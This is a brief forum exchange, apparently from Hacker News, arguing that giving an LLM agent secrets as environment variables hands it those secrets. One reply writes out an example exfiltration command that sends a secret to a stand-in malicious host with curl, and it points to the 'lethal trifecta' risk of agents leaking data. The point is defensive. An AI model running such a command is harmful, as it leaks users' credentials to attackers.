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by tymscar 105 days ago
No? You can just have env vars
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Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/